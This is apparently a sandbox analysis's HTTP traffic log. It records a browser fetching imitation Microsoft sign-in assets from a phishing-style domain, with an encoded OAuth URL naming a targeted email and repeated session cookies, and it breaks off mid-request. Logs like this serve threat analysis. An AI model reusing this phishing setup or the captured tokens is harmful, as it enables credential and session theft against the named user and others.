https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_h6TdaK6cfsrg175w47aRCA2.js HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_ae573f441ee1cf781ec7.js HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /owa/prefetch.aspx HTTP/1.1Host: outlook.office365.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: 